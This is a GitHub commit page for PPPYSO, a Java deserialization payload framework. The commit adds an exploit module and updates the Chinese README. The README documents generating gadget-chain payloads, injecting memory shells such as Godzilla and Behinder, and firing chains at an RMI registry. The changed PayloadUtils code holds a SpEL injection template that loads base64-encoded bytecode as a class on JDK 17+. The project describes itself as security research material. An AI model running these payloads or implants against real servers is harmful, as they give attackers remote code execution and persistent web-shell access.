Skip to content

Commit 202f754

Browse files
committed
add exploit :)
1 parent bf4ec6c commit 202f754

33 files changed

+1033
-90
lines changed

README.md

Lines changed: 41 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -2,18 +2,17 @@
22

33
By. Whoopsunix
44

5-
# 🚩Introduction
5+
# 🌏 Begin
66

7-
PPPYSO 是一个 Java 反序列化概念验证框架,可以根据配置生成各种增强 Payload,通过动态代理的方式实现 JavaClass 增强减少依赖的同时兼容
8-
`javax/jakarta` 标准。
7+
+ 🗿 PPPYSO 是一个Java 反序列化概念验证框架,仅为安全防护研究提供参考,所以不会开放任何绕过性质的研究成果,并且不保证稳定性。基于子项目 [JavaRce](https://github.com/Whoopsunix/JavaRce) 实现,最终目的是实现 [RASP](https://github.com/Whoopsunix/PPPRASP) 层面的拦截。
98

10-
框架分模块构建,每个模块通过一个 Helper 来管理生成内容,包含以下模块:
9+
+ 👏 欢迎 issue
10+
11+
框架分模块构建,每个模块通过一个 Helper 来管理生成内容,可以根据配置生成各种增强 Payload,通过动态代理的方式实现 JavaClass 增强减少依赖的同时兼容 `javax/jakarta` 标准。包含以下模块:
1112

1213
### 反序列化模块
1314

14-
参考 [Marshalling Pickles](https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles) 中提到的 gadget
15-
chain 概念,将 [ysoserial](https://github.com/frohoff/ysoserial) 原先的调用链拆分为入口点 (kick-off), 触发点 (sink)
16-
,其余为中间的调用链 (chain),针对各个部分针对性增强。
15+
参考 [Marshalling Pickles](https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles) 中提到的 gadget chain 概念,将 [ysoserial](https://github.com/frohoff/ysoserial) 原先的调用链拆分为入口点 (kick-off), 触发点 (sink),其余为中间的调用链 (chain),针对各个部分针对性增强。
1716

1817
- [x] `InvokerTransformer` 功能增强
1918
- [x] `TemplatesImpl` JavaClass增强、AbstractTranslet 可选移除、_bytecodes 特征消除
@@ -25,40 +24,48 @@ chain 概念,将 [ysoserial](https://github.com/frohoff/ysoserial) 原先的
2524

2625
### JavaClass 模块
2726

28-
基于子项目 [JavaRce](https://github.com/Whoopsunix/JavaRce) ,在实现上不同。PPPYSO 中通过动态代理的方式实现内存马,减少依赖的同时兼容
29-
javax/jakarta 标准。JavaClass 动态类名、内存马、Rce 回显。
27+
基于子项目 [JavaRce](https://github.com/Whoopsunix/JavaRce) ,在实现上不同。PPPYSO 中通过动态代理的方式实现内存马,减少依赖的同时兼容 javax/jakarta 标准。JavaClass 动态类名、内存马、Rce 回显。
3028

3129
- [x] Loader + Proxy 积极测试兼容中
3230
- [x] 兼容 javax/jakarta 标准
3331
- [x] 结果增强输出,eg. SPEL+FreeMarker
3432
- [x] 高版本 JDK 下 SPEL 注入
3533
- [x] 功能增强积极增加中 Exec、Godzilla、Behinder、Sou5
36-
- [x] Unsafe 实现高版本 JDK 字节码加载兼容
34+
- [x] Unsafe 实现 JDK 17+ 字节码加载(name module 反射限制绕过)
3735

38-
### common 模板
36+
### Common 模板
3937

40-
实现序列化数据的加解密、序列化、WAF 绕过等功能
38+
实现序列化数据的加解密、序列化等功能
4139

4240
- [x] 序列化:原生、XStream、HexAscii
43-
- [x] WAF 绕过:UTF8Mix 2 3 字节加密
41+
- [x] 序列化类型:UTF8Mix 2 3 字节转换
4442
- [x] 支持组合结果输出:文件、Base64、GZIP,eg. gzip,base64
4543

44+
### Exploit 模块
45+
46+
- [ ] 缓慢移植
47+
48+
49+
4650
### 交互
4751

4852
目前支持 CLI、Yaml 配置,通过
4953

50-
直接运行生成模板配置文件
54+
直接运行生成模板配置文件,并展示支持的调用链
5155

5256
![image-20240416174431675](attachments/image-20240416174431675.png)
5357

58+
[WIKI](https://whoopsunix.com/docs/category/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%B0%83%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90)~~调用链的分析比较久远也可以看看~~,之后有时间会尽量补全 gadget chain 图
59+
60+
![Gadget ChainBy. Whoopsunix](attachments/Gadget-ChainBy-Whoopsunix.png)
61+
5462
Cli 通过 `java -jar PPPYSO-{version}-jar-with-dependencies.jar -g Coherence1 {-h | -help}` 获取帮助信息
5563

5664
![image-20240416174734965](attachments/image-20240416174734965.png)
5765

5866
### 编译
5967

60-
项目完全开源,可直接下载 Release 版本,或自行编译,编译成功后在 scheduler/target
61-
下生成 `PPPYSO-${version}-jar-with-dependencies.jar`
68+
项目完全开源,可直接下载 Release 版本,或自行编译,编译成功后在 scheduler/target 下生成 `PPPYSO-${version}-jar-with-dependencies.jar`
6269

6370
```
6471
# 安装依赖
@@ -67,12 +74,6 @@ mvn clean
6774
mvn clean package -Dmaven.test.skip
6875
```
6976

70-
# 🌏 0x00 Begin
71-
72-
🗿 PPPYSO 是一个概念验证框架,仅为安全研究提供参考,不保证稳定性。
73-
74-
👏 欢迎 issue
75-
7677
# 0x01 URLDNS 增强
7778

7879
```
@@ -83,15 +84,15 @@ mvn clean package -Dmaven.test.skip
8384
-ds
8485
```
8586

86-
URLDNS 支持组件利用链探测和类探测
87+
URLDNS 支持组件利用链探测和类探测,还在完善中
8788

8889
## 组件探测
8990

90-
组件探测参考 [Urldns ](https://github.com/kezibei/Urldns)项目实现,改了一些类可以通过 `-dp show` 展示目前规则已写的类
91+
组件探测参考 [Urldns ](https://github.com/kezibei/Urldns)项目实现,改了一些类可以通过 `-show` 展示目前规则已写的类
9192

92-
+ `-dp` 指定组件,`all` 探测所有
93+
![image-20240515103534792](attachments/image-20240515103534792.png)
9394

94-
![image-20240423142525765](attachments/image-20240423142525765.png)
95+
+ `-dp` 指定组件,`all` 探测所有
9596

9697
eg. `-g URLDNS -host 7ox24q.dnslog.cn -dp "all"`
9798

@@ -228,8 +229,7 @@ eg. `-g commonscollections1 -e FileWrite -sfp /tmp/1.jsp -fc 123456`
228229

229230
![image-20240419143818623](attachments/image-20240419143818623.png)
230231

231-
`-split` 设置文件分片后生成, `-part` 指定每个分片的大小,默认 100kb。不过该功能不建议用在 `TemplatesImpl` 增强的链,用
232-
Base64 编码只能分片很小。
232+
`-split` 设置文件分片后生成, `-part` 指定每个分片的大小,默认 100kb。不过该功能不建议用在 `TemplatesImpl` 增强的链,用 Base64 编码只能分片很小。
233233

234234
eg. `-g commonscollections1 -e FileWrite -sfp /tmp/itest -lfp /tmp/iox -split -part 1000`
235235

@@ -352,8 +352,7 @@ eg. `-g commonscollections2 -e JavaClass -jht MemShell -mw Tomcat -ms Listener -
352352

353353
## LocalLoad 本地字节码加载
354354

355-
`InvokerTransformer` 增强的链子也提供了加载字节码的方式,默认采用
356-
ScriptEngineManager,也可以选择 `org.mozilla.javascript.DefiningClassLoader.defineClass()`
355+
`InvokerTransformer` 增强的链子也提供了加载字节码的方式,默认采用 ScriptEngineManager,~~也可以选择(换汤不换药 懒得删了)~~ `org.mozilla.javascript.DefiningClassLoader.defineClass()`
357356

358357
```
359358
-lf [Default | RHINO]
@@ -375,7 +374,7 @@ JavaClass 也可以单独生成,并且提供加密封装
375374

376375
eg. `-e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -je FreeMarker`
377376

378-
某 FreeMarker 高版本 JDK 环境利用 `-e JavaClass -jht MemShell -mw Spring -ms Interceptor -msf Godzilla -je SPEL,FreeMarker -jme JDK17 -mt raw`
377+
eg. 某 FreeMarker 高版本 JDK 环境利用 `-e JavaClass -jht MemShell -mw Spring -ms Interceptor -msf Godzilla -je SPEL,FreeMarker -jme JDK17 -mt raw`
379378

380379
![image-20240504120717253](attachments/image-20240504120717253.png)
381380

@@ -439,11 +438,19 @@ eg. `-g ROME -cmd "open -a Calculator.app" -wrap`
439438

440439
![image-20240427155050391](attachments/image-20240427155050391.png)
441440

442-
# 调用链学习
441+
# 0x06 Exploit 模块
442+
443+
在 gadget 增强的前面拼接 exp 使用该模块 ,`exp -show` 查看支持的 EXP
444+
445+
![image-20240515111004602](attachments/image-20240515111004602.png)
446+
447+
448+
449+
eg. `exp RMIRegistryExploit -g CommonsCollections2 -cmd "open -a Calculator.app" -ehost 127.0.0.1 -eport 1099`
450+
451+
![image-20240515095932731](attachments/image-20240515095932731.png)
443452

444-
附上一张 gadget chain 图
445453

446-
![Gadget ChainBy. Whoopsunix](attachments/Gadget-ChainBy-Whoopsunix.png)
447454

448455
# Thanks
449456

-935 KB
Binary file not shown.
1.31 MB
Loading
915 KB
Loading
59.4 KB
Loading

common/src/main/java/com/ppp/annotation/Authors.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -49,6 +49,7 @@
4949
String COKEBEER = "cokeBeer";
5050
String ZDI = "ZDI";
5151
String HUGOW = "hugow";
52+
String h0ng10="h0ng10";
5253

5354
String[] value() default {};
5455

common/src/main/java/com/ppp/utils/PayloadUtils.java

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,9 @@ public static String spel(String b64, String loaderClassName) {
4141

4242
public static String spelJDK17(String b64, String loaderClassName) {
4343
// 正常
44-
return String.format("{T(org.springframework.cglib.core.ReflectUtils).defineClass('%s',T(java.util.Base64).getDecoder().decode('%s'),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))}", loaderClassName, b64);
44+
// return String.format("{T(org.springframework.cglib.core.ReflectUtils).defineClass('%s',T(java.util.Base64).getDecoder().decode('%s'),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))}", loaderClassName, b64);
45+
// 改进用 Spring 自带的 Base64Utils
46+
return String.format("{T(org.springframework.cglib.core.ReflectUtils).defineClass('%s',T(org.springframework.util.Base64Utils).decodeFromString('%s'),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))}", loaderClassName, b64);
4547

4648
// urlClassLoader
4749
// return String.format("{T(org.springframework.cglib.core.ReflectUtils).defineClass('%s',T(java.util.Base64).getDecoder().decode('%s'),new java.net.URLClassLoader(new java.net.URL[0], T(java.lang.Thread).currentThread().getContextClassLoader()), null, T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))}", loaderClassName, b64);

common/src/main/java/com/ppp/utils/Reflections.java

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -49,6 +49,12 @@ public static Object newInstance(String className, Object... args) throws Except
4949
return getFirstCtor(className).newInstance(args);
5050
}
5151

52+
public static Object newInstance(Class cls, Class[] argsClass, Object[] args) throws Exception {
53+
Constructor<?> constructor = cls.getDeclaredConstructor(argsClass);
54+
constructor.setAccessible(true);
55+
return constructor.newInstance(args);
56+
}
57+
5258
public static <T> T createWithoutConstructor(Class<T> classToInstantiate)
5359
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
5460
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);

exploit/pom.xml

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
5+
<groupId>com.ppp</groupId>
6+
<artifactId>exploit</artifactId>
7+
<version>1.0</version>
8+
<packaging>jar</packaging>
9+
10+
<name>exploit</name>
11+
12+
<properties>
13+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
14+
</properties>
15+
16+
<dependencies>
17+
<dependency>
18+
<groupId>com.ppp</groupId>
19+
<artifactId>gadgets</artifactId>
20+
<version>1.0.2</version>
21+
</dependency>
22+
</dependencies>
23+
24+
<build>
25+
<finalName>PPPYSO-exploit</finalName>
26+
<plugins>
27+
<plugin>
28+
<groupId>org.apache.maven.plugins</groupId>
29+
<artifactId>maven-compiler-plugin</artifactId>
30+
<version>3.8.1</version>
31+
<configuration>
32+
<source>6</source>
33+
<target>6</target>
34+
</configuration>
35+
</plugin>
36+
</plugins>
37+
</build>
38+
</project>
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
package com.ppp;
2+
3+
import com.ppp.exploit.Exploit;
4+
import com.ppp.exploit.ExploitPayload;
5+
import com.ppp.sinks.annotation.EnchantType;
6+
import com.ppp.sinks.annotation.Sink;
7+
import com.ppp.utils.maker.ClassUtils;
8+
9+
import java.lang.reflect.Method;
10+
import java.util.ArrayList;
11+
import java.util.LinkedList;
12+
import java.util.List;
13+
14+
/**
15+
* @author Whoopsunix
16+
*/
17+
public class ExploitBuilder {
18+
private static final String exploitPackageName = "com.ppp.exploit";
19+
20+
public static void run(Class<? extends ExploitPayload> exploitClass, Object gadget, ExploitHelper exploitHelper) throws Exception {
21+
Printer.title(exploitClass.getSimpleName());
22+
ExploitPayload exploitPayload = exploitClass.newInstance();
23+
exploitPayload.exploit(gadget, exploitHelper);
24+
}
25+
26+
public static Class<? extends ExploitPayload> getExploitClass(String exploit) throws Exception {
27+
// 调用链检查
28+
List<Class<?>> classes = ClassUtils.getClasses(exploitPackageName);
29+
for (Class<?> clazz : classes) {
30+
String className = clazz.getSimpleName();
31+
if (className.equalsIgnoreCase(exploit)) {
32+
return (Class<? extends ExploitPayload>) clazz;
33+
}
34+
}
35+
Printer.warn(String.format("No such exploit: %s", exploit));
36+
showGadgetClass();
37+
return null;
38+
}
39+
40+
public static void showGadgetClass() throws Exception {
41+
List<Class<?>> classes = ClassUtils.getClasses(exploitPackageName);
42+
ArrayList exploits = new ArrayList();
43+
44+
for (Class<?> clazz : classes) {
45+
Exploit annotation = clazz.getAnnotation(Exploit.class);
46+
if (annotation != null)
47+
exploits.add(clazz.getSimpleName());
48+
}
49+
Printer.blueInfo("Exploit: " + exploits);
50+
51+
System.exit(0);
52+
}
53+
}

0 commit comments

Comments
 (0)